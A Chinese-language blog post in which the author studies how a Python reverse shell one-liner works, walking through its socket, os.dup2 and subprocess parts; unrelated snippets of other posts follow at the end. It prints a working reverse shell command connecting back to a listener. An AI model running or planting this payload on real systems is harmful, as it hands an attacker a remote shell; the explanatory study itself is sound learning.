記一次對python反彈shell的分析

2022-08-21 20:21:14 字數 2194 閱讀 5706

昨天學習了**shell,對python彈shell產生了一些疑惑

python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
把**排版一下

import socket,subprocess,os

s=socket.socket(socket.af_inet,socket.sock_stream)

s.connect(("192.168.190.1",8080))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

分析一下**,分為三個部分socketossubprocess

1.socket部分

import socket

s=socket.socket(socket.af_inet,socket.sock_stream)

s.connect(("192.168.190.1",8080))

接下來逐行分析

import socket
匯入python socket庫

s=socket.socket(socket.af_inet,socket.sock_stream)
使用socket函式建立乙個套接字,af_inet表示是乙個ipv4的套接字,sock_stream表示使用tcp流式socket

s.connect(("192.168.190.1",8080))
連線到192.168.190.1:8080處的套接字

2.os部分

import os

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

os.dup2() 方法用於將乙個檔案描述符 fd 複製到另乙個 fd2。

而fileno()函式就是返回乙個檔案的檔案描述符

那麼,什麼是檔案描述符呢?

在linux中系統對於檔案的操作是根據檔案描述符來決定的,檔案描述符是乙個比較小的大於等於3的整數,0表示標準輸入stdin,1表示標準輸出stdout,2表示標準錯誤輸出stderr

所以上面的函式作用就是把stdin,stdout,stderr的內容替換為套接字返回的內容,所以在本機nc監聽就會建立乙個套接字程序,是的在本地輸入的內容就直接作為宿主機的stdin,stdout的內容也會在本地顯示

3. subprocess部分

import subprocess

p=subprocess.call(["/bin/sh","-i"])

先引用一段關於subprocess庫的描述

它允許你生成新的程序,連線到它們的 input/output/error 管道,並獲取它們的返回(狀態)碼

而call函式的作用就是執行指定的命令,返回命令執行的狀態碼

所以這句**的作用就是生成新的程序,呼叫/bin/sh

綜上,shell就會被subprocess呼叫,並用socket傳輸的資料替代stdin,stdout,stderr,使得在本地就能操作宿主機

雖然大致解決了原理,但是還有一些**方面的問題

fileno應該是只有檔案型別才能使用的函式,但是socket套接字卻能夠使用

我覺得是因為資料流和檔案流之類的問題,詳細情況還待之後學習……

記一次Python爬蟲入門

程式思路 程式步驟 2 分析該網頁的 3 findall查詢出所有的url,儲存到list中 4 遍歷list,儲存到本地 程式原始碼 請求網頁 import time import requests import re import os 請求頭部 headers response request...

記一次除錯

這是我最近幾個月來遇到的最棘手的乙個問題 昨天花了4個小時找出第一層次的原因 這個糾結啊,本來和老婆說好準時下班回家吃飯的,結果被這個問題拖了老久。這是乙個gradle的plugin,用來resolve公司內部的dependency的,弄完了跑測試專案的,拋乙個npe,而且npe還不在自己的 裡面。...

記一次 EqualsAndHashCode的疑惑

lombok的使用真的是讓開發人員欲罷不能,乙個 data不管有多少屬性全部搞定,以後加字段也不用從新生成get和set方法。不過這裡還是有乙個小坑需要注意一下,舉個例子 public class equalsandhashcodetest data noargsconstructor access...